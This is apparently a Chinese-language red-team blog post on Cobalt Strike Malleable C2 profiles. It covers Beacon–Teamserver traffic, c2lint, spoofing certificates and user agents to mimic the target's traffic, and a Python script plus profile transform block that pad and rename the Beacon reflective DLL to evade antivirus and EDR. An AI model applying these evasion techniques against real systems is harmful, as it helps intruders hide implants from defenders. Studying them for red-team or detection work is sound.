Malleable C2

4 minute read

Malleable C2

0x00 写在前面

上上篇文章shellcode加密写完后面遗留了一个问题,如何规避杀软查杀从内存中查杀c2和受害主机之间的流量特征,当时的我怎么会想到,cs官方早在2014年就给出了一份标准答案

https://www.cobaltstrike.com/product/features/malleable-c2

0x01 Malleable C2 profile

必看,写的非常好,很入门的一篇文章

https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

要研究Malleable C2 profile首先要理解Beacon和Teamserver是怎么通信的

在Stage建立之后,Beacon首先会向服务器发送一个HTTP GET请求,里面包含了主机的元数据(metadata),这个请求的Response会返回睡眠间隔,让Beacon决定多久再给服务器发一次请求。如果我们在Client下发了指令,那这条指令就会在Beacon向服务器发送带有元数据的GET请求的时在Response里面体现,Beacon执行指令之后会将输出结果放在一个数据包里面默认向服务器发送一个POST请求,最后Teamserver返回的Response会被Beacon无视

第三步的POST请求从cs3.6版本开始也可以在profile的http-post部分改成GET请求,这取决于目标环境,另外,数据包中的header也要尽量地模拟成目标环境中的流量

0x02 c2lint检查profile

c2lint是cs自带的工具,默认躺在服务端文件夹里面,可以用它来检查profile的可用性,非常的棒,输出结果看得我头皮发麻,既输出了一些profile的关键数据,还生成了虚假的流量让我们可以很直观地看到cs经过流量伪造之后的数据包数据

./c2lint jquery-c2.4.5.profile

0x03 http ssl&&user agent伪造

首先,prefile中的ssl证书信息直接可以copy目标域名的证书信息,来达到流量混淆的效果,但是有的网站没有证书信息,那也有很多选择比如母公司、供应商之类的

profile中的user agent选项会生效在http流量中,一下是一些常见的user agent

http://www.useragentstring.com/pages/useragentstring.php

如果可以知道目标真实在用的user agent那是最好的,有些牛逼的组织对流量的监控是很严格的

0x04 Reflective DLL prepend

下面这个python脚本会把一些十六进制的无害机器码打乱,转化成c语言的格式,用来替换profile文件中的stage部分的transform rDLL stage中的prepend字段,让内存中的rDLL更难被杀软检测出来

import random

# Define the byte strings to shuffle
byte_strings = ["40", "41", "42", "6690", "40", "43", "44", "45", "46", "47", "48", "49", "4c", "90", "0f1f00", "660f1f0400", "0f1f0400", "0f1f00", "0f1f00", "87db", "87c9", "87d2", "6687db", "6687c9", "6687d2"]

# Shuffle the byte strings
random.shuffle(byte_strings)

# Create a new list to store the formatted bytes
formatted_bytes = []

# Loop through each byte string in the shuffled list
for byte_string in byte_strings:
    # Check if the byte string has more than 2 characters
    if len(byte_string) > 2:
        # Split the byte string into chunks of two characters
        byte_list = [byte_string[i:i+2] for i in range(0, len(byte_string), 2)]
        # Add \x prefix to each byte and join them
        formatted_bytes.append(''.join([f'\\x{byte}' for byte in byte_list]))
    else:
        # Add \x prefix to the single byte
        formatted_bytes.append(f'\\x{byte_string}')
        
# Join the formatted bytes into a single string
formatted_string = ''.join(formatted_bytes)

# Print the formatted byte string
print(formatted_string)

Malleable C2 profile文件中stage部分的这段配置主要用于对生成的Beacon Reflective DLL进行变形处理(transform),以规避杀软、EDR 的特征检测

    # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
    transform-x86 { # transform the x86 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "execute"; # Change this text
        strrep "This program cannot be run in DOS mode" ""; # Remove this text
        strrep "beacon.dll" ""; # Remove this text
    }
    transform-x64 { # transform the x64 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
        strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
    }

    stringw "jQuery"; # Add this string to the DLL